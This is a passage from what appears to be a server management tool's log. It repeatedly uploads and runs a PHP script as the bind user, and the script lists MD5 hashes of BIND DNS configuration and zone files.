MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:40:13: Establishing a connection
2026-04-25 19:40:13: 

PUT: /tmp/pkp705335

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:40:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp705335; rm /tmp/pkp705335'

2026-04-25 19:40:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 5e377f3629d6fe361d57f6ca437ac6a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 19:40:16: Establishing a connection
2026-04-25 19:40:16: 

PUT: /tmp/pkp825211

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 19:40:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp825211; rm /tmp/pkp825211'

2026-04-25 19:40:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
